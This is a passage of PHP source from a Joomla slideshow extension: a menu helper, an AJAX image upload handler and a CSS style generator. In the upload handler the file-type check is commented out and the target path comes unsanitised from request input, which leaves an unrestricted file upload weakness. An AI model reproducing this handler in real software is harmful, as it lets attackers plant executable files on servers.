					$items->$lastitem->level_diff = ($items->$lastitem->level - $item->level);
				}
			}
			$lastitem = $i;

			
		}

		// for the last item
		if (isset($items->$lastitem))
		{
			$items->$lastitem->deeper     = (1 > $items->$lastitem->level);
			$items->$lastitem->shallower  = (1 < $items->$lastitem->level);
			$items->$lastitem->level_diff = ($item->level - 1);
		}

		return $items;
	}

	/* 
	 * Set the default values
	 */
	private static function prepareItem(&$item) {
		$item->deeper     = false;
		$item->shallower  = false;
		$item->level_diff = 0;
		$item->basepath = str_replace(JPATH_SITE, '', $item->path);
		$item->basepath = str_replace('\\', '/', $item->basepath);
		$item->basepath = trim($item->basepath, '/');
	}

	/**
	 * Get the file and store it on the server
	 * 
	 * @return mixed, the method return
	 */
	public static function ajaxAddPicture() {
		// check the token for security
		if (! \Joomla\CMS\Session\Session::checkToken('get')) {
			$msg = \Joomla\CMS\Language\Text::_('JINVALID_TOKEN');
			echo '{"error" : "' . $msg . '"}';
			exit;
		}

		$app = \Joomla\CMS\Factory::getApplication();
		$input = $app->input;
		$file = $input->files->get('file', '', 'array');
		// $imgpath = '/' . trim($input->get('path', '', 'string'), '/') . '/';
		$imgpath = $input->get('path', '', 'string') ? '/' . trim($input->get('path', '', 'string'), '/') . '/' : '/' . trim(\Joomla\CMS\Component\ComponentHelper::getParams('com_slideshowck')->get('imagespath', 'images/slideshowck'), '/') . '/';

		// makes replacement if specific user management is set
		$user = \Joomla\CMS\Factory::getUser();
		$imgpath = str_replace('$userid', 'user_' . $user->id, $imgpath);

		if (!is_array($file)) {
			$msg = \Joomla\CMS\Language\Text::_('CK_NO_FILE_RECEIVED');
			echo '{"error" : "' . $msg . '"}';
			exit;
		}

		$filename = \Joomla\CMS\Filesystem\File::makeSafe($file['name']);

		// check the file extension // TODO recup preg_match de local dev
		// if (\Joomla\CMS\Filesystem\File::getExt($filename) != 'jpg') {
			// $msg = \Joomla\CMS\Language\Text::_('CK_NOT_JPG_FILE');
			// echo '{"error" : "'  $msg  '"}';
			// exit;
		// }

		//Set up the source and destination of the file
		$src = $file['tmp_name'];

		// check if the file exists
		if (!$src || !\Joomla\CMS\Filesystem\File::exists($src)) {
			$msg = \Joomla\CMS\Language\Text::_('CK_FILE_NOT_EXISTS');
			echo '{"error" : "' . $msg . '"}';
			exit;
		}

		// check if folder exists, if not then create it
		if (!\Joomla\CMS\Filesystem\Folder::exists(JPATH_SITE . $imgpath)) {
			if (!\Joomla\CMS\Filesystem\Folder::create(JPATH_SITE . $imgpath)) {
				$msg = \Joomla\CMS\Language\Text::_('CK_UNABLE_TO_CREATE_FOLDER') . ' : ' . $imgpath;
				echo '{"error" : "' . $msg . '"}';
				exit;
			}
		}

		// write the file
		if (! \Joomla\CMS\Filesystem\File::copy($src, JPATH_SITE . $imgpath . $filename)) {
			$msg = \Joomla\CMS\Language\Text::_('CK_UNABLE_WRITE_FILE');
			echo '{"error" : "' . $msg . '"}';
			exit;
		}
		echo '{"img" : "' . $imgpath . $filename . '", "filename" : "' . $filename . '"}';
		exit;
	}

	public static function createFolder($path, $folder) {
		$path = CKPath::clean(JPATH_SITE . '/' . $path . '/' . $folder);

		if (!is_dir($path) && !is_file($path))
			{
				if (CKFolder::create($path))
				{
					$data = "<html>\n<body bgcolor=\"#FFFFFF\">\n</body>\n</html>";
					CKFile::write($path . '/index.html', $data);
				} else {
					return false;
				}
		}
		return true;
	}
}
com_slideshowck/helpers/ckstyles.php000060400000141154152455305260013746 0ustar00<?php
/**
 * @copyright	Copyright (C) 2016. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - http://www.template-creator.com - http://www.joomlack.fr
 */
Namespace Slideshowck;

// No direct access
defined('_JEXEC') or die('Restricted access');

/**
 * CKStyles is a class to manage the styles
 *
 * @author Cedric KEIFLIN http://www.joomlack.fr
 */
class CKStyles extends \stdClass {

	public function create($fields, $customstyles, $direction = 'ltr') {

		$styles = "";
		$customprefixes = array();
		if (! empty($customstyles)) {
		// look for the custom styles to manage from plugins for example
		foreach ($customstyles as $prefix => $selector) {
			$customprefixes[] = $prefix;
		}
		// merge the existing prefix and the new one
		// $prefixes = array_merge($prefixes, $customprefixes);
		}
		$prefixes = $customprefixes;

		$cssstyles = new \stdClass();
		foreach ($prefixes as $prefix) {
			$cssstyles->$prefix = new \stdClass();
			$cssstyles->$prefix->css = self::genCss($fields, $prefix, $direction);
		}


		if (! empty($customstyles)) {
			$id = '|ID|';
			// loop through all custom styles from plugins or other elements
			foreach ($customstyles as $prefix => $selector) {
				$selectors = explode('|', str_replace('|qq|', '"', $selector));
				$fullselector = $id . ' ' . implode(',' . $id . ' ', $selectors);
				// $fullselector = implode(',', $selectors);
				
				$properties = $cssstyles->$prefix->css['background']
						. $cssstyles->$prefix->css['gradient']
						. $cssstyles->$prefix->css['borders']
						. $cssstyles->$prefix->css['borderradius']
						. $cssstyles->$prefix->css['height']
						. $cssstyles->$prefix->css['width']
						. $cssstyles->$prefix->css['color']
						. $cssstyles->$prefix->css['margins']
						. $cssstyles->$prefix->css['paddings']
						. $cssstyles->$prefix->css['alignement']
						. $cssstyles->$prefix->css['shadow']
						. $cssstyles->$prefix->css['fontbold']
						. $cssstyles->$prefix->css['fontitalic']
						. $cssstyles->$prefix->css['fontunderline']
						. $cssstyles->$prefix->css['fontuppercase']
						. $cssstyles->$prefix->css['letterspacing']
						. $cssstyles->$prefix->css['wordspacing']
						. $cssstyles->$prefix->css['textindent']
						. $cssstyles->$prefix->css['lineheight']
						. $cssstyles->$prefix->css['fontsize']
						. $cssstyles->$prefix->css['fontfamily']
						. $cssstyles->$prefix->css['custom']
						;
				if ( !(empty(trim($properties)))) {
							$styles .= "
	" . $fullselector . " {
	"
						. $properties
						. "}
	";
				}

				// add the animations to the element
				$styles .= $this->genAnimations($fields, $prefix, $fullselector);
				$styles .= $this->genEffects($fields, $prefix, $fullselector);
			}
		}

		// Arrows
		// normal state arrows
//		$arrowcolor = (isset($fields->navigationarrowcolor) AND $fields->navigationarrowcolor != '') ? str_replace('#', '', $fields->navigationarrowcolor) : "";
//		$arrowopacity = (isset($fields->navigationarrowopacity) AND $fields->navigationarrowopacity != '') ? $fields->navigationarrowopacity : "";
//		if ($arrowcolor || $arrowopacity) {
//			$styles .= "|ID| .camera_prev > span {"
//	. ($arrowcolor ? "background-image: url(\"data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23" . $arrowcolor . "'%2F%3E%3C%2Fsvg%3E\");" : "")
//	. ($arrowopacity ? "opacity: " . $arrowopacity . ";" : "")
//						. "}
//	";
//			$styles .= "|ID| .camera_next > span {"
//	. ($arrowcolor ? "background-image: url(\"data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23" . $arrowcolor . "'%2F%3E%3C%2Fsvg%3E\");" : "")
//	. ($arrowopacity ? "opacity: " . $arrowopacity . ";" : "")
//						. "}
//	";
//		}

		// navigation
		$arrowcolor = (isset($fields->navigationarrowcolor) AND $fields->navigationarrowcolor != '') ? str_replace('#', '', $fields->navigationarrowcolor) : "";
		$arrowopacity = (isset($fields->navigationarrowopacity) AND $fields->navigationarrowopacity != '') ? $fields->navigationarrowopacity : "1";
		if ($arrowcolor) {
			$styles .= "|ID| .camera_prev, |ID| .camera_next, |ID| .camera_commands {"
	. ($arrowcolor ? "background: " . $this->hex2RGB($arrowcolor, $arrowopacity) . ";" : "")
						. "}
	";
		}
		// navigation hover
		$arrowhovercolor = (isset($fields->navigationarrowhovercolor) AND $fields->navigationarrowhovercolor != '') ? str_replace('#', '', $fields->navigationarrowhovercolor) : "";
		$arrowhoveropacity = (isset($fields->navigationarrowhoveropacity) AND $fields->navigationarrowhoveropacity != '') ? $fields->navigationarrowhoveropacity : "1";
		if ($arrowcolor) {
			$styles .= "|ID| .camera_prev:hover, |ID| .camera_next:hover, |ID| .camera_commands:hover {"
	. ($arrowcolor ? "background: " . $this->hex2RGB($arrowhovercolor, $arrowhoveropacity) . ";" : "")
						. "}
	";
		}
		
		//paginationdotimage
		$paginationcolor = (isset($fields->paginationdotimagecolor) AND $fields->paginationdotimagecolor != '') ? $fields->paginationdotimagecolor : "";
		$paginationopacity = (isset($fields->paginationdotimageopacity) AND $fields->paginationdotimageopacity != '') ? $fields->paginationdotimageopacity : "1";
		$paginationdotimageborderwidth = (isset($fields->paginationdotimageborderwidth) AND $fields->paginationdotimageborderwidth != '') ? $fields->paginationdotimageborderwidth : "";

		if ($paginationcolor || $paginationopacity) {
			$styles .= "|ID| .camera_pag_ul li img {"
	. ($paginationcolor ? "border-color: " . $this->hex2RGB($paginationcolor, $paginationopacity) . ";" : "")
	. ($paginationdotimageborderwidth ? "border-width: " . $this->testUnit($paginationdotimageborderwidth) . ";" : "")
						. "}
	";
			$styles .= "|ID| .camera_pag_ul .thumb_arrow {"
	. ($paginationcolor ? "border-top-color: " . $this->hex2RGB($paginationcolor, $paginationopacity) . ";" : "")
						. "}
	";
		}

		//paginationdot
		$paginationdotcolor1 = (isset($fields->paginationdotcolor1) AND $fields->paginationdotcolor1 != '') ? $fields->paginationdotcolor1 : "";
		$paginationdotborderradius1 = (isset($fields->paginationdotborderradius1) AND $fields->paginationdotborderradius1 !== '') ? $fields->paginationdotborderradius1 : "";
		$paginationdotcolor2 = (isset($fields->paginationdotcolor2) AND $fields->paginationdotcolor2 != '') ? $fields->paginationdotcolor2 : "";
		$paginationdotborderradius2 = (isset($fields->paginationdotborderradius2) AND $fields->paginationdotborderradius2 !== '') ? $fields->paginationdotborderradius2 : "";

		if ($paginationdotcolor1 || $paginationdotborderradius1 !== '') {
			$styles .= "|ID|.camera_wrap .camera_pag .camera_pag_ul li {"
	. ($paginationdotcolor1 ? "background: " . $paginationdotcolor1 . ";" : "")
	. ($paginationdotborderradius1 !== '' ? "border-radius: " . $this->testUnit($paginationdotborderradius1) . ";" : "")
						. "}
	";
		}

		if ($paginationdotcolor2 || $paginationdotborderradius2 !== '') {
			$styles .= "|ID|.camera_wrap .camera_pag .camera_pag_ul li.cameracurrent > span, |ID| .camera_wrap .camera_pag .camera_pag_ul li:hover > span {"
	. ($paginationdotcolor2 ? "background: " . $paginationdotcolor2 . ";" : "")
	. ($paginationdotborderradius2 !== '' ? "border-radius: " . $this->testUnit($paginationdotborderradius2) . ";" : "")
						. "}
	";
		}

		// paginationdot position
		$paginationposition = (isset($fields->paginationdotposition) AND $fields->paginationdotposition != '') ? $fields->paginationdotposition : "";
		if ($paginationposition === 'inside') {
			$styles .= "|ID| .camera_pag {"
	. ($paginationposition ? "margin-top: -50px;" : "")
						. "}
	";
			$styles .= "|ID| {"
	. ($paginationposition ? "margin-bottom: 0px !important;" : "")
						. "}
	";
		}

		// paginationdot alignment
		$paginationalign = (isset($fields->paginationdotalign) AND $fields->paginationdotalign != '') ? $fields->paginationdotalign : "";
		if ($paginationalign) {
			$styles .= "|ID| .camera_pag .camera_pag_ul {"
	. ($paginationalign ? "text-align: " . $paginationalign . ";" : "")
						. "}
	";
		}

		// caption
		$layoutposition = (isset($fields->layoutposition) AND $fields->layoutposition != '') ? $fields->layoutposition : "";
		if ($layoutposition) {
			$styles .= "|ID| .camera_caption {"
	. ($layoutposition == 'bottom' ? "bottom: 0; top: auto;" : "")
	. ($layoutposition == 'top' ? "bottom: auto; top: 0;" : "")
	. ($layoutposition == 'middle' ? "bottom: auto; top: 50%; transform: translateY(-50%);" : "")
	. ($layoutposition == 'fullscreen' ? "bottom: 0; top: 0;" : "")
						. "}
	";
		}

		/* ---- fin des css ------ */
		return $styles;
	}

	function genCss($fields, $prefix, $direction) {
		$input = CKFof::getInput();
		$action = 'preview';

		// construct variable names
		$backgroundimageurl = $prefix . 'backgroundimageurl';
		$backgroundimageleft = $prefix . 'backgroundimageleft';
		$backgroundimagetop = $prefix . 'backgroundimagetop';
		$backgroundimagerepeat = $prefix . 'backgroundimagerepeat';
		$backgroundimageattachment = $prefix . 'backgroundimageattachment';
		$backgroundcolor = $prefix . 'backgroundcolorstart';
		$backgroundopacity = $prefix . 'backgroundopacity';
		$gradientcolor = $prefix . 'backgroundcolorend';
		$gradient1position = $prefix . 'backgroundpositionend';
		$gradient1opacity = $prefix . 'backgroundopacityend';
		$gradient2color = $prefix . 'backgroundcolorstop1';
		$gradient2position = $prefix . 'backgroundpositionstop1';
		$gradient2opacity = $prefix . 'backgroundopacitystop1';
		$gradient3color = $prefix . 'backgroundcolorstop2';
		$gradient3position = $prefix . 'backgroundpositionstop2';
		$gradient3opacity = $prefix . 'backgroundopacitystop2';
		$gradientdirection = $prefix . 'backgrounddirection';
		$hasopacity = false;
		$backgroundimagesize = $prefix . 'backgroundimagesize';
		$opacity = $prefix . 'opacity';

		// set the background color
		$css['background'] = (isset($fields->$backgroundcolor) AND $fields->$backgroundcolor != '') ? "\tbackground: " . $fields->$backgroundcolor . ";\r\n" : "";
		$backgroundcolorvalue = (isset($fields->$backgroundcolor) AND $fields->$backgroundcolor) ? $fields->$backgroundcolor : "";

		// manage rgba color for opacity
		if (isset($fields->$backgroundopacity) AND $fields->$backgroundopacity != '' AND isset($fields->$backgroundcolor)) {
			$hasopacity = true;
			$rgbavalue = $this->hex2RGB($fields->$backgroundcolor, $fields->$backgroundopacity);
			$css['background'] .= (isset($fields->$backgroundcolor) AND $fields->$backgroundcolor) ? "\tbackground: " . $rgbavalue . ";\r\n\t-pie-background: " . $rgbavalue . ";\r\n" : "";
		}
		if (isset($fields->$backgroundopacity) AND $fields->$backgroundopacity == '0') {
			$css['background'] .= "\tbackground: none;\r\n";
		}

		$imageurl = "";
		if (isset($fields->$backgroundimageurl) AND $fields->$backgroundimageurl) {
			if ($action == 'preview') {
				$imageurl = substr($fields->$backgroundimageurl, 0, 4)  == 'http' ? $fields->$backgroundimageurl : \Joomla\CMS\Uri\Uri::root(true) . '/' . $fields->$backgroundimageurl;
			} else {
				$imageurl = explode("/", $fields->$backgroundimageurl);
				$imageurl = end($imageurl);
				$imageurl = "../images/" . $imageurl;
			}
		}

		// set the background image
		$backgroundimageleftvalue = (isset($fields->$backgroundimageleft) AND $fields->$backgroundimageleft != null) ? $fields->$backgroundimageleft : "center";
		$backgroundimagetopvalue = (isset($fields->$backgroundimagetop) AND $fields->$backgroundimagetop != null) ? $fields->$backgroundimagetop : "center";
		$backgroundimagerepeatvalue = (isset($fields->$backgroundimagerepeat) AND $fields->$backgroundimagerepeat) ? $fields->$backgroundimagerepeat : "no-repeat";
		$backgroundimageurlvalue = (isset($fields->$backgroundimageurl) AND $fields->$backgroundimageurl) ? $fields->$backgroundimageurl : "";
		$backgroundimageattachmentvalue = (isset($fields->$backgroundimageattachment) AND $fields->$backgroundimageattachment) ? $fields->$backgroundimageattachment : "";

		if ($backgroundimageleftvalue != 'top' AND $backgroundimageleftvalue != 'right' AND $backgroundimageleftvalue != 'bottom' AND $backgroundimageleftvalue != 'left' AND $backgroundimageleftvalue != 'center' AND !stristr($backgroundimageleftvalue, "px")
		)
			$backgroundimageleftvalue = $this->testUnit($backgroundimageleftvalue);

		if ($backgroundimagetopvalue != 'top' AND $backgroundimagetopvalue != 'right' AND $backgroundimagetopvalue != 'bottom' AND $backgroundimagetopvalue != 'left' AND $backgroundimagetopvalue != 'center' AND !stristr($backgroundimagetopvalue, "px")
		)
			$backgroundimagetopvalue = $this->testUnit($backgroundimagetopvalue);

		// set the background color
		if ((isset($fields->class) AND !stristr($fields->class, 'bannerlogo')) OR !isset($fields->class)) {
			$css['background'] = (isset($fields->$backgroundimageurl) AND $fields->$backgroundimageurl) ? "\tbackground: " . $backgroundcolorvalue . " url(" . $imageurl . ") " . $backgroundimageleftvalue . " " . $backgroundimagetopvalue . " " . $backgroundimagerepeatvalue . " " . $backgroundimageattachmentvalue . ";\r\n" : $css['background'];
			if ($hasopacity) 
				$css['background'] .= (isset($fields->$backgroundimageurl) AND $fields->$backgroundimageurl) ? "\tbackground: " . $rgbavalue . " url(" . $imageurl . ") " . $backgroundimageleftvalue . " " . $backgroundimagetopvalue . " " . $backgroundimagerepeatvalue . " " . $backgroundimageattachmentvalue . ";\r\n" : "";
		}

		//set the background size
		if (isset($fields->$backgroundimageurl) AND $fields->$backgroundimageurl AND isset($fields->$backgroundimagesize) AND $fields->$backgroundimagesize != 'none') {
			$css['background'] .= "\tbackground-size: " . $fields->$backgroundimagesize . ";\r\n";
		}

		$css['background'] .= (isset($fields->$opacity) AND $fields->$opacity) ? "\topacity: " . ($fields->$opacity / 100) . ";" : "";

		$gradient0colorvalue = (isset($fields->$backgroundcolor) AND $fields->$backgroundcolor) ? $fields->$backgroundcolor : "";
		$gradient1colorvalue = (isset($fields->$gradientcolor) AND $fields->$gradientcolor) ? $fields->$gradientcolor : "";
		$gradient1positionvalue = (isset($fields->$gradient1position) AND $fields->$gradient1position) ? $fields->$gradient1position . "%" : "100%";
		$gradient2colorvalue = (isset($fields->$gradient2color) AND $fields->$gradient2color) ? $fields->$gradient2color : "";
		$gradient2positionvalue = (isset($fields->$gradient2position) AND $fields->$gradient2position) ? $fields->$gradient2position . "%" : "";
		$gradient3colorvalue = (isset($fields->$gradient3color) AND $fields->$gradient3color) ? $fields->$gradient3color : "";
		$gradient3positionvalue = (isset($fields->$gradient3position) AND $fields->$gradient3position) ? $fields->$gradient3position . "%" : "";

		if (isset($fields->$gradientdirection)) {
			switch ($fields->$gradientdirection) {
				case 'bottomtop':
					$gradientdirectionvalue = 'center bottom';
					$gradientdirectionvaluebis = 'left bottom, left top';
					$gradientdirectionvaluebis2 = 'x1="0%" y1="100%"
				x2="0%" y2="0%"';
					$gradientdirectionvalue3 = 'to top';
					break;
				case 'leftright':
					$gradientdirectionvalue = 'center left';
					$gradientdirectionvaluebis = 'left top, right top';
					$gradientdirectionvaluebis2 = 'x1="0%" y1="0%"
				x2="100%" y2="0%"';
					$gradientdirectionvalue3 = 'to right';
					break;
				case 'rightleft':
					$gradientdirectionvalue = 'center right';
					$gradientdirectionvaluebis = 'right top, left top';
					$gradientdirectionvaluebis2 = 'x1="100%" y1="0%"
				x2="0%" y2="0%"';
					$gradientdirectionvalue3 = 'to left';
					break;
				case 'topbottom':
				default :
					$gradientdirectionvalue = 'center top';
					$gradientdirectionvaluebis = 'left top, left bottom';
					$gradientdirectionvaluebis2 = 'x1="0%" y1="0%"
				x2="0%" y2="100%"';
					$gradientdirectionvalue3 = 'to bottom';
					break;
			}
		} else {
			$gradientdirectionvalue = 'center top';
			$gradientdirectionvaluebis = 'left top, left bottom';
			$gradientdirectionvaluebis2 = 'x1="0%" y1="0%"
				x2="0%" y2="100%"';
			$gradientdirectionvalue3 = 'to bottom';
		}


		$gradientstop2 = '';
		$gradientstop2webkit = '';
		$gradientstop2bis = '';
		$gradientstop3 = '';
		$gradientstop3webkit = '';
		$gradientstop3bis = '';
		if ($gradient2colorvalue AND $gradient2positionvalue) {
			$gradientstop2 = ',' . $gradient2colorvalue . ' ' . $gradient2positionvalue;
			$gradientstop2webkit = ',color-stop(' . $gradient2positionvalue . ',' . $gradient2colorvalue . ')';
			$gradientstop2bis = '<stop offset="' . $gradient2positionvalue . '"   stop-color="' . $gradient2colorvalue . '" stop-opacity="1"/>';
		}
		if ($gradient3colorvalue AND $gradient3positionvalue) {
			$gradientstop3 = ',' . $gradient3colorvalue . ' ' . $gradient3positionvalue;
			$gradientstop3webkit = ',color-stop(' . $gradient3positionvalue . ',' . $gradient3colorvalue . ')';
			$gradientstop3bis = '<stop offset="' . $gradient3positionvalue . '"   stop-color="' . $gradient3colorvalue . '" stop-opacity="1"/>';
		}



		if ($gradient0colorvalue && $gradient1colorvalue) {
			// $css['gradient'] = "\tbackground-image: url(\"" . $prefix . $id . "-gradient.svg\");\r\n"
			$css['gradient'] = ""
					. "\tbackground-image: -o-linear-gradient(" . $gradientdirectionvalue . "," . $gradient0colorvalue . $gradientstop2 . $gradientstop3 . ", " . $gradient1colorvalue . ' ' . $gradient1positionvalue . ");\r\n"
					. "\tbackground-image: -webkit-gradient(linear, " . $gradientdirectionvaluebis . ",from(" . $gradient0colorvalue . ")" . $gradientstop2webkit . $gradientstop3webkit . ", color-stop(" . $gradient1positionvalue . ', ' . $gradient1colorvalue . "));\r\n"
					. "\tbackground-image: -moz-linear-gradient(" . $gradientdirectionvalue . "," . $gradient0colorvalue . $gradientstop2 . $gradientstop3 . ", " . $gradient1colorvalue . ' ' . $gradient1positionvalue . ");\r\n"
					. "\tbackground-image: linear-gradient(" . $gradientdirectionvalue3 . "," . $gradient0colorvalue . $gradientstop2 . $gradientstop3 . ", " . $gradient1colorvalue . ' ' . $gradient1positionvalue . ");\r\n";
					// . "\t-pie-background: linear-gradient(" . $gradientdirectionvalue . "," . $gradient0colorvalue . $gradientstop2 . $gradientstop3 . ", " . $gradient1colorvalue . ' ' . $gradient1positionvalue . ");\r\n";

			/*
			// create the file svg for IE9 and Opera gradient compatibility
			$svgie9cssdest = $path . '/css/' . $prefix . $id . '-gradient.svg';
			$svgie9csstext = '<?xml version="1.0" ?>
              <svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="none" version="1.0" width="100%"
              height="100%"
              xmlns:xlink="http://www.w3.org/1999/xlink">

              <defs>
              <linearGradient id="' . $prefix . $id . '"
              ' . $gradientdirectionvaluebis2 . '
              spreadMethod="pad">
              <stop offset="0%"   stop-color="' . $gradient0colorvalue . '" stop-opacity="1"/>
              ' . $gradientstop2bis . '
              ' . $gradientstop3bis . '
              <stop offset="' . $gradient1positionvalue . '" stop-color="' . $gradient1colorvalue . '" stop-opacity="1"/>
              </linearGradient>
              </defs>

              <rect width="100%" height="100%"
              style="fill:url(#' . $prefix . $id . ');" />
              </svg>
              ';
			if (!\Joomla\CMS\Filesystem\File::write($svgie9cssdest, $svgie9csstext)) {
				echo '<p class="error">' . \Joomla\CMS\Language\Text::_('CK_ERROR_CREATING_SVGIE9CSS') . '</p>';
			}*/
		} else {
			$css['gradient'] = "";
		}


		// construct variable names
		$borderscolor = $prefix . 'borderscolor';
		$borderssize = $prefix . 'borderssize';
		$bordersstyle = $prefix . 'bordersstyle';
		$bordertopcolor = $prefix . 'bordertopcolor';
		$bordertopsize = $prefix . 'bordertopsize';
		$bordertopstyle = $prefix . 'bordertopstyle';
		$borderbottomcolor = $prefix . 'borderbottomcolor';
		$borderbottomsize = $prefix . 'borderbottomsize';
		$borderbottomstyle = $prefix . 'borderbottomstyle';
		$borderleftcolor = $prefix . 'borderleftcolor';
		$borderleftsize = $prefix . 'borderleftsize';
		$borderleftstyle = $prefix . 'borderleftstyle';
		$borderrightcolor = $prefix . 'borderrightcolor';
		$borderrightsize = $prefix . 'borderrightsize';
		$borderrightstyle = $prefix . 'borderrightstyle';
		// for border radius
		$borderradius = $prefix . 'borderradius';
		$borderradiustopleft = $prefix . 'borderradiustopleft';
		$borderradiustopright = $prefix . 'borderradiustopright';
		$borderradiusbottomleft = $prefix . 'borderradiusbottomleft';
		$borderradiusbottomright = $prefix . 'borderradiusbottomright';

		$fields->$bordersstyle = isset($fields->$bordersstyle) ? $fields->$bordersstyle : 'solid';
		$fields->$bordertopstyle = isset($fields->$bordertopstyle) ? $fields->$bordertopstyle : 'solid';
		$fields->$borderbottomstyle = isset($fields->$borderbottomstyle) ? $fields->$borderbottomstyle : 'solid';
		$fields->$borderleftstyle = isset($fields->$borderleftstyle) ? $fields->$borderleftstyle : 'solid';
		$fields->$borderrightstyle = isset($fields->$borderrightstyle) ? $fields->$borderrightstyle : 'solid';

		$css['borders'] = (isset($fields->$borderssize) AND $fields->$borderssize == '0') ? "\tborder: none;\r\n" : "";
		$css['bordertop'] = (isset($fields->$bordertopsize) AND $fields->$bordertopsize == '0') ? "\tborder-top: none;\r\n" : "";
		$css['borderbottom'] = (isset($fields->$borderbottomsize) AND $fields->$borderbottomsize == '0') ? "\tborder-bottom: none;\r\n" : "";
		$css['borderleft'] = (isset($fields->$borderleftsize) AND $fields->$borderleftsize == '0') ? "\tborder-left: none;\r\n" : "";
		$css['borderright'] = (isset($fields->$borderrightsize) AND $fields->$borderrightsize == '0') ? "\tborder-right: none;\r\n" : "";

		$css['borders'] = (isset($fields->$borderscolor) AND $fields->$borderscolor AND isset($fields->$borderssize) AND $fields->$borderssize) ? "\tborder: " . $fields->$borderscolor . " " . $this->testUnit($fields->$borderssize) . " " . $fields->$bordersstyle . ";\r\n" : $css['borders'];
		$css['bordertop'] = (isset($fields->$bordertopcolor) AND $fields->$bordertopcolor AND isset($fields->$bordertopsize) AND $fields->$bordertopsize) ? "\tborder-top: " . $fields->$bordertopcolor . " " . $this->testUnit($fields->$bordertopsize) . " " . $fields->$bordertopstyle . ";\r\n" : $css['bordertop'];
		$css['borderbottom'] = (isset($fields->$borderbottomcolor) AND $fields->$borderbottomcolor AND isset($fields->$borderbottomsize) AND $fields->$borderbottomsize) ? "\tborder-bottom: " . $fields->$borderbottomcolor . " " . $this->testUnit($fields->$borderbottomsize) . " " . $fields->$borderbottomstyle . ";\r\n" : $css['borderbottom'];
		$css['borderleft'] = (isset($fields->$borderleftcolor) AND $fields->$borderleftcolor AND isset($fields->$borderleftsize) AND $fields->$borderleftsize) ? "\tborder-left: " . $fields->$borderleftcolor . " " . $this->testUnit($fields->$borderleftsize) . " " . $fields->$borderleftstyle . ";\r\n" : $css['borderleft'];
		$css['borderright'] = (isset($fields->$borderrightcolor) AND $fields->$borderrightcolor AND isset($fields->$borderrightsize) AND $fields->$borderrightsize) ? "\tborder-right: " . $fields->$borderrightcolor . " " . $this->testUnit($fields->$borderrightsize) . " " . $fields->$borderrightstyle . ";\r\n" : $css['borderright'];

		// compile all borders
		$css['borders'] .= $css['bordertop'] . $css['borderbottom'] . $css['borderleft'] . $css['borderright'];

		// $borderradiusvalue = (isset($fields->$borderradius) AND ($fields->$borderradius || $fields->$borderradius == "0")) ? $fields->$borderradius : "0";
		$borderradiusvalue = "0";
		$borderradiustopleftvalue = (isset($fields->$borderradiustopleft) AND ($fields->$borderradiustopleft || $fields->$borderradiustopleft == "0")) ? $fields->$borderradiustopleft : $borderradiusvalue;
		$borderradiustoprightvalue = (isset($fields->$borderradiustopright) AND ($fields->$borderradiustopright || $fields->$borderradiustopleft == "0")) ? $fields->$borderradiustopright : $borderradiusvalue;
		$borderradiusbottomleftvalue = (isset($fields->$borderradiusbottomleft) AND ($fields->$borderradiusbottomleft || $fields->$borderradiustopleft == "0")) ? $fields->$borderradiusbottomleft : $borderradiusvalue;
		$borderradiusbottomrightvalue = (isset($fields->$borderradiusbottomright) AND ($fields->$borderradiusbottomright || $fields->$borderradiustopleft == "0")) ? $fields->$borderradiusbottomright : $borderradiusvalue;

		if ( (isset($fields->$borderradiustopleft) AND $fields->$borderradiustopleft != "")
			|| (isset($fields->$borderradiustopright) AND $fields->$borderradiustopright != "")
			|| (isset($fields->$borderradiusbottomleft) AND $fields->$borderradiusbottomleft != "")
			|| (isset($fields->$borderradiusbottomright) AND $fields->$borderradiusbottomright != "")
		) {
			// $css['borderradius'] = "\t-moz-border-radius: " . $this->testUnit($borderradiusvalue) . ";\r\n"
					// . "\t-o-border-radius: " . $this->testUnit($borderradiusvalue) . ";\r\n"
					// . "\t-webkit-border-radius: " . $this->testUnit($borderradiusvalue) . ";\r\n"
					// . "\tborder-radius: " . $this->testUnit($borderradiusvalue) . ";\r\n"
			$css['borderradius'] =  "\t-moz-border-radius: " . $this->testUnit($borderradiustopleftvalue) . " " . $this->testUnit($borderradiustoprightvalue) . " " . $this->testUnit($borderradiusbottomrightvalue) . " " . $this->testUnit($borderradiusbottomleftvalue) . ";\r\n"
					. "\t-o-border-radius: " . $this->testUnit($borderradiustopleftvalue) . " " . $this->testUnit($borderradiustoprightvalue) . " " . $this->testUnit($borderradiusbottomrightvalue) . " " . $this->testUnit($borderradiusbottomleftvalue) . ";\r\n"
					. "\t-webkit-border-radius: " . $this->testUnit($borderradiustopleftvalue) . " " . $this->testUnit($borderradiustoprightvalue) . " " . $this->testUnit($borderradiusbottomrightvalue) . " " . $this->testUnit($borderradiusbottomleftvalue) . ";\r\n"
					. "\tborder-radius: " . $this->testUnit($borderradiustopleftvalue) . " " . $this->testUnit($borderradiustoprightvalue) . " " . $this->testUnit($borderradiusbottomrightvalue) . " " . $this->testUnit($borderradiusbottomleftvalue) . ";\r\n";
		} else {
			$css['borderradius'] = "";
		}

		// construct variable names
		$height = $prefix . 'height';
		$width = $prefix . 'width';
		$color = $prefix . 'color';
		$lineheight = $prefix . 'lineheight';
		$margintop = $prefix . 'margintop';
		$marginbottom = $prefix . 'marginbottom';
		$marginleft = $prefix . 'marginleft';
		$marginright = $prefix . 'marginright';
		$margins = $prefix . 'margins';
		$paddingtop = $prefix . 'paddingtop';
		$paddingbottom = $prefix . 'paddingbottom';
		$paddingleft = $prefix . 'paddingleft';
		$paddingright = $prefix . 'paddingright';
		$paddings = $prefix . 'paddings';

		$css['height'] = (isset($fields->$height) AND $fields->$height) ? "\theight: " . $this->testUnit($fields->$height) . ";\r\n" : "";
		$css['width'] = (isset($fields->$width) AND $fields->$width) ? "\twidth: " . $this->testUnit($fields->$width) . ";\r\n" : "";
